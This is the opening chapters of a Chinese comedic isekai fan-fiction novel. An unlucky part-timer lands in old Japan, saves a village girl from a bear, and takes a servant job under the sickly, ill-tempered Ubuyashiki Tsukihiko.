《[综]工作把我害惨了》
1. 穿越
这本该是普通的一天。
我照常来x森便利店兼职。
最近天气炎热,冰饮料十分畅销,看着冰柜中冰水不多了,我正准备给冰柜补货,忽然被店长叫住。
“小李啊......辛苦了。”店长的表情有些微妙。
我大感不妙!
最怕领导突然的问候。
而且这表情也不像是要给我发补贴什么的。
“不辛苦不辛苦!”我立马积极回应,快速往前凑过去,“店长你看还有什么要补货的,我一起搬过去!”
店长显然没被我的殷勤打动,“小李啊......”她看了看四周,见此时店内没有顾客,便也就提高了些音量,“今天把你的工资结一下,明天你就别来了。”
似乎看出我还想说什么,她语速飞快宛如法师吟唱咒语。“咱这店开着也快不行了。过几天就倒了,你也去找找别的兼职吧。”
说完她也没看我,只是摆弄着收银台的商品,一副很忙的样子。
那我能说什么呢?
当然是
“好的。”
老实说我并不是很惊讶,纵观我高频的工作兼职生涯来看,这样的事情发生过不知多少次。
干一行,倒一行,这好像是我背负的魔咒。
好不容易卷进入大公司,结果工作不到一个月项目组直接被裁;进入证券,参与辅助某前途无量制药公司上市,结果同期天龙人实习生爆出惊天新闻,工作随着上市失败一起黄了;转战私企成为财务,结果老板嗝屁私生子突然出现争夺财产,整个公司乱成一锅粥......
种种数不胜数,真是闻者伤心见着落泪。
以至于每次面试被要求阐述上一项实习的成果时我都会卡壳一瞬间,然后露出一个尴尬又不失礼貌的微笑。
虽然我强烈建议各公司hr把我直接招给对家,但这项明智的建议从来没有成功打动过她们。
还好我体力也不错,于是我尝试在便利店进行兼职。
谁能想到连锁便利店也能被我干倒。
虽然内心再次被自己的体质震撼,但今天的班还得上,我又忙活了一阵,然后用尽全力摸鱼到了晚上。
晚上的顾客寥寥无几。我走出收银台向外眺望,月亮在半空,撒下朦胧的光辉。街道上只有零星的行人走过,然后留下一片寂寥。
这么少的人流或许就是便利店倒闭的原因吧。
店内的冷气让我的身体都快失去了知觉。我不再看门外景色,站在冰柜前扭扭腰,转转头活动身体,准备吃一下迟到的晚饭顺便给自己过个生日。
我在店内买了一个临期的慕斯蛋糕和三明治,付完钱后,手机跳出的余额短信使我心更加寒了。
给慕斯蛋糕插上我准备好的小蜡烛,我划着根火柴点燃了它,小声祝贺,“祝我生日快乐。”
小小的火光摇曳,像跳动的小精灵。店内明亮的光线并没有什么过生日的氛围感,但是,我闭上了眼睛,回顾了一下自己不幸的实习经历和账户余额,就能成功感到眼前一黑。
我对着小小的蜡烛,虔诚地许愿,“希望我的下一份工作能有着落。”这是最迫切的愿望了。
“信女也希望暴富无病无忧早日退休财富自由!”我虔诚地继续追加愿望。然而睁眼一看,或许是贪便宜买的蜡烛太短,现在竟然快要燃尽,我急急忙忙准备吹灭了它。
在蜡烛吹灭的一瞬,我的耳边似乎传来了一声轻笑。
这突如其来的笑仿佛一把钥匙,我惊悚地感觉仿佛有种神秘的大门被开启,眼前场景剧变。这有些像ppt幻灯片的转换,便利店的场景逐渐溶解而后新的画面出现。
那就是一瞬间的事,以至于我本来还没来得及去寻找究竟是谁在笑。
我怔怔地保持着祈祷的姿势,忽然感觉有柔和的风吹过。
这完全不是便利店空调的冷风。
......不对吧?我感觉自己的心砰砰狂跳。
环顾四周,我有些控制不住自己,身体微微发抖--这里不是便利店。
周围的景象无疑是美丽的。此处似乎是一个小小的山谷。我的脚下是延绵不断的草地,耳畔有蜜蜂嗡鸣,还有白色的蝴蝶翩跹着,山风拂面,送来野花的香气。而一抬头,太阳高挂在天上。
这是什么突然的神奇团建吗?不对吧便利店实习团什么建!
暖暖的阳光洒在我身上,我却觉得身体发凉。我连忙打开手机,这里显示没有信号,这里显示时间是22:30--时间也对不上。
太超过常识的变化让我觉得大脑有些宕机。不过下一秒我又努力让自己振作起来。
或许是被拐卖了?不过这是被拐到了南半球还是哪里?给了自己一个推断,我的心倒是平静了一些,大脑刻意忽视了其中的不科学性。
我检查了一下身上的东西--我穿着便利店的围裙和自己的常服,身上仅有手机和一包餐巾纸和几颗糖果还有手表以及便携式防狼喷雾。衣物完整,没有东西丢失,身上也没有受伤或者被捆绑的痕迹。
真是不妙哇。
我尝试拨打110,但果然还是无法拨通。
信号的事情暂时放在一边,我叹了口气,感觉肚子开始叫了起来。
我的三明治和蛋糕都还没吃呢......
怀着遗憾和饥饿,我再次环顾四周,试图在大自然中寻求一些食物。
再收集了一些看起来能吃的野果充饥后,我决定去寻找水源。水应该是顺着低地而流,我沿着山谷底部去寻找水源。没一会就发现了一条小溪。
正当我纠结该采取什么方法过滤水时,我听到了远处传来一阵歌声。我没听清唱的是什么,但是声音很稚嫩,听起来像是小孩子随便编的曲子。随着歌声越来越响,唱歌者的声音越来越近,我下意识躲进了灌木丛中。
我听说,也有拐卖团伙用看似无害的小孩子作为诱饵去诱骗人们上当的,我这么想着,眼睛透过灌木丛的缝隙观察着来人。
来的是个小女孩,穿着印有小花的格子和服,她哼着歌,看起来也就五六岁的样子,背着一个不大的竹篓,捧着一个陶罐来溪边汲水。
......这么小的孩子就开始自己干活了吗?我不禁感慨,但是也不敢放下警惕。
这是被拐卖到了霓虹乡村吗?感觉应该比较偏远吧,没有信号加上看起来没有直饮水?
我暗自忖度,见小女孩捧着满满一罐水回去,悄咪咪从灌木丛中钻出,远远跟着。
她应该要回家,先跟着人多的地方看看吧。虽然不知道为什么被拐卖团伙(?)扔到这里,但是还是得去人多的地方探听一下消息,比如这里究竟是哪里,能不能去找当地警方求助之类的。毕竟在山里可能也有野兽。
女孩似乎对这里也不是很熟悉,她总是走到一个地方就开始停下脚步四处张望,好像在确认方向,有时停下摘取了一些野草或者野果之类的东西放在篮子中,再继续捧着陶罐慢慢走。
就在我以为我们就会这么继续走到她家的时候,不远处的草丛里传来细微的唰唰的声音。我本来就处于跟踪状态,对于声音比较敏感,甚至可以说是草木皆兵的状态。
难道还有其他人?我停下脚步,躲好,看向声音发出的地方。
发出声音的地方位于小女孩右后方的灌木中,小女孩好似没有听到,嘴中仍在小声哼着歌谣。而灌木中
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动静越来越小。就当我想安慰自己或许只是小动物时,我看见了一个宽厚的浅黑色鼻头悄悄嗡动。
这个大小!是熊!
这是什么熊出没,是不是还需要有个光头伐木工啊。我自己在心中忍不住吐槽,试图压下心慌。
以前听到的故事怎么说来着,遇到熊也别想着爬上树,因为熊会爬树。遇到熊只要跑赢你周围人就行了哈哈哈....
哈个什么啊!
我对自己的碎碎念感到无语,看着熊慢慢钻出灌木丛,对着小女孩呈现狩猎姿态。从熊的头的大小来推断,看起来这个熊应该还没成年。但是那油光水亮的皮毛和十分大的脚掌也能彰显其力量。
山里的熊盯上人可不是闹着玩的。
现在逃跑绝对是最优选。
毕竟这里人生地不熟,那个小女孩还不能确定是不是是和拐卖团伙一伙的诱饵呢?仅靠我自己也不是不能找到城镇,顶多速度慢一点。
虽然这样给了自己诸多理由,但我的脚却根本迈不出逃跑的步伐,手也渐渐摸出了防狼喷雾。
小女孩还背着竹篓慢慢走,而那只熊狡黠地跟着,打量着这个小小的猎物,似乎在思考发起攻击的时机。
不需要杀死熊,只要逃跑就好。我这么对自己说。
在附近找了一个较大的石头,我随后放缓呼吸,猫着脚在灌木掩体中靠近。
....3
2!
1!
看着熊离小女孩越来越近,我窜出来高声大喊“有熊,快跑!”随后狠狠将大石头扔向转头看向我的熊的脑袋,在它愤怒朝我吼叫时将防狼喷雾直喷向熊的眼睛。
熊发出痛苦的嘶吼,翻滚在地。我趁着机会向女孩要来陶罐,带着她一路狂奔。
我本来担心防狼喷雾不能发挥“防熊喷雾”的作用,但直到我和女孩狂奔到森林边缘时,熊都没追上来。
真是幸运。
我轻喘了口气,看着气喘吁吁的女孩,一时间也不知道应该说点什么。
我的尾随计划失败了,现在是完全暴露到陌生人之前了。
我努力装作云淡风轻只是一般路人的姿态。“没事了,你回家吧。”还好为了以前一个外贸实习我还学过霓虹语,基本的沟通还是不成问题。我将本来打算用作防御的陶罐还给女孩,陶罐的水在逃跑时撒去了一半,就像我空空的胃。
一想到胃,我的肚子也开始了抗议,开始大叫起来。
“谢谢姐姐救了我。”女孩子很有礼貌的双手接过了我的陶罐,黑曜石般的眼睛映出我窘迫的面容。
“姐姐你要和我一起回家吗,我们一起吃饭吧?”她仰着头看着我,眼中有种亲昵。
或许是肚子真的很饿,再加上刚刚一起逃跑培养出来的莫名信任感,我和这个叫作【歌】的女孩子一起来到了她的村落。
路上我拿过歌的竹篓背在身上,左右打量着路边的风景。
沿途的房屋都十分破旧,由木框架和茅草顶组成。路上有水田,但大多荒废了。虽说是村落,但是村子里根本没有什么人。
歌是个很健谈的女孩子,性格十分乐观。我和她边走边聊天,我得知一场流传病带走了村里的许多人和她父亲,她只有一个病弱的母亲。
我看着看着,心在歌的回答下坠入低谷。
“嗯,歌,我们现在的年代是什么时候呢?”
“啊姐姐,我们现在应该是....”
虽然内心已经有猜测,奇异的经历,不合理的时间和空间,这简直就是穿越n要素,但真真切切意识到自己离开了以前所在的世界,还是有些怅然。
我的上一份实习工资可还没结呢......
2. 进城务工
了解到自己的处境后,我心里又安定下来了。
歌的母亲织子阿姨是个很善良的女人,当我向她表示自己迷路找不到家人后,她就热情地邀请我在这里住下。她的目光虽然在我的“奇装异服”上停留了一会,但也没有多说什么,只是拖着虚弱的身体和我们一起做了饭。
我这时候才知道歌竹篓里装着的是这几天的饭食。
野菜被扔进锅中和萝卜一起炖煮,成了粘稠的蔬菜汤。米饭则是由类似小米的粮食蒸成的。
由于缺少调料,饭食确实是食之无味。但不浪费粮食的准则让还是我强行吞下了无味的饭菜。
老实说,我对霓虹的时期并不了解,但是对于低生产力下的普通民众的生活水平我倒是了解。
缺盐缺油,堪堪温饱。再加上歌的家庭里只剩下孤女寡母,能吃成这样已经是两人都很勤快的结果了。
吃完了饭,我开始思考自己能为她们做些什么来报答收留的恩情。
织子阿姨的身体实在不能说是好。她之前生过一场大病,之后身体就是一直这么虚弱。
先前歌听说山中有奇珍,想去采一些药材看看能不能治愈母亲。她还采摘了一些只在白天开几天的花,今晚我们已经一起将其做成药蔬汤了,味道一般,看起来对织子阿姨的病也没有什么作用。
不过我认为比起药材,目前织子阿姨更需要的是营养。与其说是大病的后遗症,织子阿姨更像是被劳作和营养不良给拖垮了身体。
因此我目前做的就是尽量给这个家补充肉蛋奶。
我穿着由我自己原先衣服改造成的和服,准备来附近的溪水中捕鱼。再经历了野熊突袭后,我对于山林里还是有些害怕,只敢上树掏鸟蛋和捕鱼来增加食物来源。不过不知道是不是我的错觉,即使这几天摄入的营养应该不算多,但是我的精力却十分充沛,而且力气也变大了许多--难道是还没工业化的乡村空气更好?
咻的从树上下来,我将鸟蛋递给歌,去查看自己布置的捕鱼陷阱。或许是附近人烟稀少的缘故,这里的鱼对于陷阱并不敏感,因此掉入陷阱的有不少,甚至还有几只螃蟹。
开心地将螃蟹和鱼放在陶罐中,我和歌满载而归。
“我们可以将鱼养起来,这样子就能可持续发展了。”我看着陶罐里的鱼蟹,觉得日子也算有盼头了。
“唉,什么是可持续发展?不过感觉很棒!姐姐好厉害!”歌捧着一把鸟蛋,笑着应和我的话,还激动得跳了一下。
我怀疑这孩子要是没有鸟蛋在手上,说不定还要给我鼓掌。
经过这段时间的相处,我越来越喜欢歌这个小姑娘了。她懂事又善良,健谈又乐观,虽然家徒四壁,但对生活总是充满希望,以至于我也对于穿越后的怅然也减少了几分。我将身上仅存的糖果给歌后,她就舔了几口然后视若珍宝地将剩下的一些储存了起来。看她储存的角落干燥又隐秘,我不由得暗暗佩服,委托歌帮我藏好手机。
“这是很重要的东西对吧姐姐?”歌黑曜石般的眼睛眨了眨,有些不敢接过这个诡异的器具。
看着歌认真的神情,我不由好笑,伸手揉了揉对方的头。“.....是哦,就麻烦歌帮我好好保存了。”
我早就将手机关机了,确定了自己穿越,我也不指望手机能发挥出什么作用。既没有信号,这个时代也没有人懂得研究它,除了成为自己对过去的寄托以外暂时没有现实功能。
织子阿姨就在床上看着我们,她是个很温柔的人,她没有过问为什么我穿的衣服和这里格格不入,只是默默帮我改成和服;她也不在意我手上拿着的手机亦或者防狼喷雾,只是含笑看着我逗歌玩。
补充了肉蛋奶后,织子阿姨的身体看起来好一些了,至少不会走几步就需要大喘气了。
但有一次在歌出去摘野菜时,我和织子阿姨在尝试搭建一个家门口的鱼池,织子阿姨却在咳嗽中吐出了一口血。
我有些不知所措,织子阿姨却在缓过来后依然带笑,“李,不要紧的。”她擦了擦嘴角的血迹,先安慰着我。
“我早就感觉自己快不行了。只是在你来之后,我有感觉自己好了些。但是本来就破裂的木桶怎么会因为一直往里面灌水就能好呢。我想,在我离开后,能麻烦你照顾歌吗?”那双被劳作和疾病拖垮的身体散发着衰败的气息,她的眼神好像快要烧尽的烛火,就要将希望燃尽。
“织子阿姨你不会有事的。”我良久才憋出这么一句,不敢看织子阿姨的眼神。
老实说这种话答应下来太像flag了,织子阿姨给我一种一旦我答应下来她就会松下最后一口气然后离世的样子。
这绝对不能直接答应下来!
我暗自感慨,把最后一块鱼池的石头摆好,向织子阿姨说,“之前我和歌在附近采野菜时有看见一位医生采药,他说城里有个大族正在招工,他刚好在那里负责治疗家主的病,可以顺便带我过去。”
其实是我和歌救了那个采药踩到我们捕兽陷阱的医生,而后在交谈中对方知道我识字而且想要赚钱就向我引荐了这份工作。
我现在很缺钱,再加上织子阿姨的身体也需要药物调理,我当机立断接受了这份邀约。
邀约看起来钱多事少,只要负责服侍一个病弱的大人物就可以。虽然这样的馅饼必然隐藏着一些坑,但我并不担心。
第一个原因就在于我最近发现自己的力气大的过分,这也许是穿越带来的异变。虽然我的力气本身就很大,在之前便利店兼职时就能够一口气搬6箱水。而来到这里后本来是想揺下一颗果树的果子,但莫名其妙在晃的过程中将果树给揺断了。因此我想我的武力值不成问题。
第二个原因就在于目前认识的这个医生,根据我的尾随(划掉),他好像是个还不错的好人,一直以较低的价钱帮助平民治病来着。他给的邀约隐藏的坑应该也不至于丧心病狂。
第三个原因就是我现在应该还算做黑户。这个时代的户口制度也不怎么成熟,而且织子阿姨和歌所在的地方偏僻,即使那份工作真的干砸了或者惹怒了雇主也不会殃及歌她们。
思及此,我看着织子阿姨,等着她的回答。如我预期的那样,织子阿姨有些担忧,但还是同意了。
第二天,当医生的驴车来到了歌家门口后,我将半瓶防狼喷雾给了歌,巡视门口新加固的篱笆和修建的鱼池后,放心地和两人告别。
家中我还留下了向这位医生贷来的草药和一些磨尖的木针,希
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望对她们有帮助。
等我做完这份工作回来,再给织子阿姨买些药材顺便给家里添几只鸡来下蛋吧。我这么想着,觉着去城里兼职的日子充满了盼头。
*
在驴车上,医生向我介绍了那位地主雇主家的情况。
这位雇主是某大族家的分支,从小身体孱弱,因罹患绝症而一直被断言活不过20岁。
“但是这位大人的求生意志却很强呢,一出生是是死胎,直到最后一刻将被火葬时发出声音才得以存活。”医生的声音里充满感慨。
我也不禁佩服对方对于生命的渴求。不过这样的事件放在当代就能拍好几级走近科学,如果放在这个时代怕是也会觉得这样有些不详吧。
我也忍不住感慨,隐约猜到了一点这份邀约的坑。
但我显然还是想少了。
医生作为中人将我介绍给负责管理宅邸的人后,我成功入职,穿着府里下人统一的衣服端着熬完的药和医生一起来面见那位大人。宅院很大,但是不知是不是由于设计问题,采光不是很好,即使正午也是暗沉沉的。
“噼砰啦!”
“什么废物,你......咳咳咳咳咳。”
还未踏入内室房间内就传来东西被打碎的声音伴着一声男人暴躁的吼叫,而后又坠着急促的咳嗽。
在房间内连连歉意声传来后,一个额角带血的女孩退了出来,她的身体抖得像筛子一样,拿着案板的手不断颤抖,姿态却依然保持着绵羊般的温顺,纵使脸上混合着害怕和无措。
就好像对这种事情习以为常一样啊。
我转头看向周围的人,大家都一副见怪不怪的表情。
等着室内的咳嗽声终于停止后,一位像是领头的下男打了个手势,默默带领着人进去清扫。
好啊,原来坑在这里。
我的视线转向医生,但是医师却不看我,但抿着的嘴显示出一些愧疚来。
事前说出雇主确实是这种烂人确实很难让人答应啊。
算了,这么想来利用这份愧疚,我拜托对方帮忙多照顾一下歌她们应该可行。而且这边工资确实比较可观啊。
或许这就叫风险与收益并存吧。
我忍不住感慨道,模仿着刚刚遇见的仆人们的表情,将自己调整一种迷之死寂的状态。
哪个时代的打工人状态都差不多啊,就是上班如上坟。
表情老实麻木,在传唤下,我跟着医师进入内室。
房间暗沉沉的,室内的各类摆件却肉眼可见的价值不凡。房间浸着一股浓郁的药味,无端透露着一种死气。
而这股死气的根源,我转移视线,看向了半躺在华贵床幔中的主人--产屋敷月彦。
他比我想象的更加孱弱。
他的皮肤是一种病态的白,仿佛没有血管中没有血液,海藻般的长发垂落在胸前,宽松的衣服显得他的身体更加单薄,若是半夜遇见一定会让人误以为是刚刚死去的鬼魂。
他的面容可以称得上秀美,但是面上狰狞的表情却使其美丽黯然不少。
看面相结合他刚刚的行为,这确实是个暴躁易怒的人。
还没来得及收回视线,我的眼睛就撞上了他探究的目光。
3. 摔碗
产屋敷月彦狭长的眼睛微微眯起,我虽然看不清里面的神色,但却感觉他的视线像蛇爬过全身。
好恶心的打量。
老实说,偷瞄别人被抓包还是有些尴尬的,但这种时候谁先移开视线谁才更尴尬。
我于是顺势将手上一直托着的食案向前伸,等着医师的下一步指令。
反正我也只将自己看作临时工,听指示就好。
总归我是来送药的。
好在医师或许是出于愧疚,立马打断了产屋敷月彦对我的审视。他示意我将端着药的食案递给他,并放在了产屋敷月彦的身前。
“月彦大人,您最近的身体是否恢复了一些......”他的声音温和极了,却立即被打断了。他才放下的药被产屋敷月彦拍翻,苦涩的药汁几乎浸染了他的衣服,药碗顺势掉下。
眼看药碗要在我身前破碎,产屋敷月彦嘴角微抬。
不过。
电光火石间,我顺势拿着食案将碗接过。
碗没碎。
产屋敷月彦面上尽是怨毒的神色,他的脸上出现近乎妖异的恨意。如果我没观察错了话,他是故意将碗拍向医师和我的方向。
似乎没想着碗会被接住,他恶毒的眼神再次看向我。
我只是假意害怕和乖顺的低下头。
【工作守则第一条:不给自己找罪受。】
我又不傻,待会碗碎了肯定还得我收拾,不如现在就接住呢。
似乎有气没处发,毕竟下人接过碗并非什么失职的事,产屋敷月彦也无法坦言自己就是想将碗摔了。他于是将火气转向医师。
“你个没有用的家伙,为什么那么多药喝了我的身体没有一点好转。”产屋敷月彦这么质问着,面上倒因为发火窜上了一片红晕,显得像个活人一些了。
医师倒是情绪十分稳定,他解释的声音不急不缓,“月彦大人,正如我之前所说,您的身体本身就十分虚弱,所以需要一直进行着药补。如果轻易断药了话,身体可能还会更加虚弱,甚至可能有生命危险。”
这似乎是产屋敷月彦的死穴,他的脸再次变得像死人般的煞白,脸上的表情扭曲了一会,面上的阴毒消失了,再次开口语气也好多了“那你之前说的能治好我病的药呢?我要的不是一直这样虚弱下去,我需要的可以......”
产屋敷月彦没继续说下去,他紧紧盯着医师的,阴郁之气再次浮现,就像一条毒蛇。
医师含笑,似乎终于等来了说正事的契机,“月彦大人,我已经找到了一味神奇的草药,将其和其他的草药一起配置成了一份新药方,相信您再喝完几个疗程之后,身体必然能恢复健康。”
必然......
这或许是医师第一次说这么肯定的话语,产屋敷月彦之前因着愤怒皱起的眉立马松开,微眯的双眼瞪大,有些发怔,“你说真的......”
他对于身体健康好像似乎有着病态的执念,以至于现在能得到一个较好的消息都有些受宠若惊。他脸上茫然无措的表情就像流浪汉中彩票一样,错愕中暗含狂喜。
医师肯定的点点头。
产屋敷月彦似乎此时才彻底地接收了这个消息,他收起刚刚怔然的表情,嘴角噙着一种很浅的笑。生的希望使他看起来平和了许多,正当我以为他准备感谢医师或者说些什么时,他却再次语出惊人。
“最好是真的,医师,否则,我一定会杀了你。”
等等,不是啊这是什么人渣发言啊。
我都差点控制不住自己的表情,索性继续埋着头。
医师仍旧保持好脾气,“月彦大人放心,这回一定能成功。”
这是在立什么可怕的flag吗?不要随口答应这些事啊,我感觉产屋敷月彦这家伙绝对是认真的。
我不知道该吐槽医师的自信还是他对于这位产屋敷月彦无理取闹的耐心,反正,在产屋敷月彦将我们赶出内室后,我实在没忍住开口询问。
“医师,您为什么要答应那么无理的要求呢?”即使是远离了内室,我仍然压低了声音。毕竟隔墙有耳,再加上产屋敷月彦看起来就是个心眼很小的疯子,吐槽也得小心。
“感谢你的关心。只是故人之约不可违......”医师温和地笑着,看向了庭院。我顺着他的目光看去,庭院内是一颗巨大的樱花树。樱花树占据了庭院大半位置,此时正是夏季,但是樱花树的枝叶并不繁盛,和整个宅邸一样透着一股病恹恹的气息。
一棵树而已,有什么吗?我收回视线,再次看向医师,却发现医师仍然凝视着那棵树,面露怀念之色。
感觉这其间一定有什么故事。难道是和曾经暗恋的贵族小姐的遗憾be,还是行医天下之我一定要治好世界上所有疑难杂症,还是说?我看向医师,回想起产屋敷月彦那张脸,忍不住摇了摇头,长得一点也不像。
“?”医师有些疑惑地看向我,我连忙摆手示意无事发生。
*
在向账房先预支了一个月的工钱给医师,麻烦他顺便帮我买些东西带给歌和织子阿姨后,我发现了这份工作的隐形福利确实很多。
首先领导还不错。是应该除了这个宅邸的主人产屋敷月彦外,其他人都很好说话。账房先生似乎是产屋敷本家来的,为人大度,即使是预支工钱这件事也是十分爽快的答应并且还热情提出可以多预支些。
再者下女们也都很好相处,有些是贫苦人家的女儿,年纪轻轻就来这做工;有的则是产屋敷家的老人,似乎是从产屋敷月彦出生起就一直在这里照料。她们聚在一起,小心地给之前额角流血的下女上了药,又说了许多宽慰的话。
最后,也是最重要的一点,这的伙食和住宿条件都不错。产屋敷家似乎是当地的望族,给下人们的待遇也是有名的优渥,就看着这煎烤合意的鮎鱼和有味道的蔬菜,我简直快要哭出来了,盐,终于算吃到了咸
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的味道。
不过隐形福利的背后必然有其原因,根据我在和一位年纪较大的下女中聊天中,我得知了医师没向我说的话。
首先是这位雇主的出生。产屋敷月彦算是这代产屋敷家主和夫人所生的最小的儿子,但是一出生就事死胎,虽然随后发出啼哭存活了,也让家主觉得不详,因此从小便被单独养在这种宅邸中。家主虽然不待见,但毕竟是自己的血脉,因此钱财上的补贴样样不少。
其次是这位雇主的身体状态比我之前想的还差。屋敷月彦孱弱的身体并未随着年岁渐长而变得强壮,即使是一把小弓也拉不开,即使是在冬日出门走几步,第二天必然高烧不起。
“而且之前请来的医师们都断言月彦少爷活不过20岁,而今年少爷都19了,所以月彦少爷一直郁郁寡欢,脾气也有些急躁,这也没办法。”老妇人叹了口气,看着我继续吃下了第三碗饭。
不能继续吃了吗?我有些紧张,稍微咽下了嘴里的饭。
【工作守则第二条:不和公司/组织/部门老人起冲突】
我尝试做个复读机,“那也确实没办法。”
虽然这话很违心,但是效果很好,老妇人得到了认同,又痛快地给我打了一碗饭,并给了我一大块鮎鱼。
产屋敷月彦的动辄打骂下人的名声加上其不详的出生使得宅邸内很少有新人,因此老妇人得着我这个新来的羊使劲薅,将不知道积攒了多久的事都跟我唠嗑一遍,但我也得益于此,横扫了八碗饭。
最近好像胃口更好了,难道是之前一直挨着饿的缘故。我摸了摸肚子,暗自忖度,走进了下女们一起睡觉的地方。
之前额角受伤的女孩头上伤口已经简单擦拭过,没那么可怖。见我站在门口有些不知所措,她径直走了过来。
“我是樱,请多指教。”
樱大概只有15岁左右的样子,举止却是很有风度。
我连忙回礼,“请多指教,樱,叫我李就好,你的伤,没事了吗?”
“嗯,李!”她笑着看向我,伸手牵着我将我指引到了一个位置,并为我拿来被褥。
“伤已经没什么大碍了。我就睡在你隔壁,有事可以找我。”她看起来不愿意再谈伤口,只是对我莞尔,“不过我睡姿很差,你可要小心了。”
听着她这么说,旁边的女孩子也笑了起来,“李你可要小心了,我之前起来就发现樱的脚直接放在了我的脸旁呢.....哈哈哈。”
见朋友打趣,樱的脸泛上了樱色的霞,那种少年老成的样子破功了,嬉笑着与朋友们玩闹。
直到年纪较大的下人佯装生气让大家快点睡时,大家才稀稀拉拉安静下来。
和年纪差不多的女孩子同睡的经历真是感觉恍若隔世。听着大家深浅不一的呼吸声和间歇的磨牙声,我也感到睡意笼罩着我。
真像回到宿舍了一样......不过是宿管阿姨也要一起睡的那种啊。
4. 半夜
看来樱说的话真的不是客套啊。
门缝中透着曦光,我小心地挪开自己肚子上的脚,看着还睡着香甜的樱,悄悄起身出去。昨天下女们已经领着我熟悉了周边的环境,我很快找到了洗漱的地方。简单洗漱一番后,竟然有些无所事事。
或许是由于产屋敷月彦身体虚弱的缘故,再加上此时又并非什么节日,并没有什么旺盛的社交需求,因而宅邸里的活计继不紧急也不重。
之前住在山里我会早起去掏鸟蛋或是采些野菜,此时早起还没被派活一时间无事可做,于是挑了院内几根较长的野草,就开始打起了中国结。
有点闲呢......
这一念头冒出来,我内心就立马有声音开始反驳。
“摸鱼才是王道。”我猛地说出了心声,顺便用手拍拍脸已使得自己清醒些。
可不能习惯一直要做事情,摸鱼又能拿钱才是我的人生准则。
然而摸鱼的快乐总是短暂的。
“李,你在干什么?你要去抓鱼吗?”一个清脆的声音传来,我转头看去,原来是樱。
樱一副刚睡醒的样子,问我的时候还忍不住打了哈欠,似乎牵动了额角狰狞的伤口,忍不住疼得抽了抽脸。
“你还好吗?”我岔开话题,仔细打量着樱的伤口。昨天用的伤药效果不错,伤口表面已经微微结痂,但是伤口有些深,因此较大的动作还会使其渗血。
对于现在的女子来说,应该算是破相了。
樱有些怏怏的,只是说没事,却依旧记挂着我说的摸鱼,严肃地提醒,“你可千万不要在池子里直接抓鱼,那是名贵的锦鲤。”
像是怕我真的想要“摸鱼”,樱还很快地补充了一句,“那肯定也不好吃......”
不是,我们才刚见面,我就已经成为了一个饕餮的形象了吗?我有些无语,在樱担忧的目光下连连保证不会去摸鱼才使她放下心来。
我将编的差不多的中国结送给了樱,在小姑娘惊呼“哇,好好看”的小声欢呼声中忍不住笑出来。
樱的表情却突然显得有些愧疚,她攥着手里的草编中国结,有些犹豫地开口,“李你可能要去贴身服侍月彦大人了,都怪我......”
女孩子总是肃穆的脸皱成了包子,然后又牵动了伤口,忍不住痛呼一声。
“这个嘛,我早就知道了,并不是樱的错啊。”我轻轻摸了摸樱的头,老实说,在昨天支使工钱的时候管家就和我提过这点,我本来有些犹豫,但听到薪水翻倍就立马答应了下来。
这个应该包含什么工伤补贴吧,虽然我感觉自己并不会受伤。
而且织子阿姨的身体也不能拖,总归是快点多赚钱好,积累了原始资金后再考虑做点什么小买卖吧。
我这么想着,却看到樱的眼里溢出眼泪,“李,你真是个好人......”
嗯,等等?这是误会了什么。
*
一般新人是不会直接服侍产屋敷月彦的,大抵都是要经过几周的训导才能上手。
但是不知为何,产屋敷月彦指名要我上前服侍。
我怀疑是因为我接住了那个碗,但我没有证据。
不过作为一个新人,我十分有新人的意识。
这点就表现在我十分服从安排。
我跟在一位前辈的后面,老老实实地听着她的吩咐。因为我是个新人,或许是担心我服侍的不合意使得产屋敷月彦的小肚鸡肠发作,我只需要负责跪坐在一旁等候前辈的指令,大多是一起拿产屋敷月彦所需要的书籍或者是帮忙拿些重物。
至于什么更衣之类细致的事情,不需要交给我干。
然而产屋敷月彦确实是个难搞的人。他不喜欢鸟叫,不喜欢虫鸣,庭院里花开得极好也会使他不由自主的生气。
明明鸟叫和虫鸣在这个时代都算是风雅之事,甚至还有朝廷中人在特地去野外,将捉到的虫子放入虫笼中带回献给天皇和皇后的“虫选”活动。
但产屋敷月彦就像个河豚,似乎任何具有生命力的东西都会触动其敏感的神经。
那这样他就应该住在某个地下陵墓和粽子们相伴。
现在是半夜,我转头看去,内室的房门打开,里面有烛光。产屋敷月彦坐在烛光下半躺着看,身旁有人服侍着清茶和一些茶点,还有人轻轻扇风,好不惬意。
见我回头,产屋敷月彦讥笑,“没用的废物,看我做什么,还没有把院子里的螽斯抓完吗?”
果然狗改不了吃屎,产屋敷月彦的嘴说不出人话。
我回过头不再看他,眼睛盯着草间的螽斯,忍着蚊虫的叮咬,屏住呼吸。
眼前的螽斯也就是所谓的蟋蟀,体格健美,大约有半掌长,身体呈现漂亮的翠色,此时正在草间小憩,随着我慢慢靠近,它警觉地动了动,却还没跳走。
能行!
我的右手刚抓过去的一瞬,身后却传来几声巨响的咳嗽声,青色螽斯吓得立马跳走。
但我早有防备,左手预备在了其逃跑路线上,稳稳将其抓住。
然而我与产屋敷月彦隔得较远,这里的动作他看不真切。因此剧烈地咳嗽后又传来了一声冷笑,“怎么又抓不到,废物!”
我转头看向他,今晚这样“恰到好处”的咳嗽已经重复了许多回,这位病弱的月彦少爷总是能恰好为我的捕虫事业提供绊脚石。
究竟是多幼稚无趣。我握着手中的虫子,向产屋敷月彦走去。
他的身边放着我编制着的草编笼子笼子如鸟笼般精致小巧,里面已放着好几只形态各异的昆虫,都是“不堪其扰”的产屋敷月彦大人大半夜指名要求抓的。我将刚捉到的青色螽斯放入其中,转头,果不其然又发现产屋敷月彦的表情变得很难看。
虽然很想挑衅一笑,但毕竟这人还是我的上司,虽然看起来要死不死的,但是大概率还要赚他几个月的薪水,还是得装装样子。
是的,医师的药看起来还挺成功的,产屋敷月彦似乎身体康健了不少,比起之前一副立马就要去世的样子,现在已经好转成可能只是过几个月才会去世的感觉。
但他对于医师好似仍有些防备,具体体现在每次喝药前我都得帮忙试药。
我是什么太监吗?一分钱还得打两份工!每当我被药苦得龇牙咧嘴时,我都能察觉旁边这位产屋敷月彦少爷心情好了不少。
好在我问过医师,药没什么副作用,喝完之后我身体也没什么异常,我也只感觉自己身体蛮受补的,偶尔早起还会发现自己流鼻血。
而我也在产屋敷家工作了一个月,我有两点新发现,一是产屋敷主家家风好像在这个时代算是不错,虽然产屋敷月彦这家伙脾气暴躁,但也只能假装不小心伤到下人,而不能没有理由刻意打骂甚至驱逐下人。
第二点就是,产屋敷月彦这家伙,好像有点针对我。
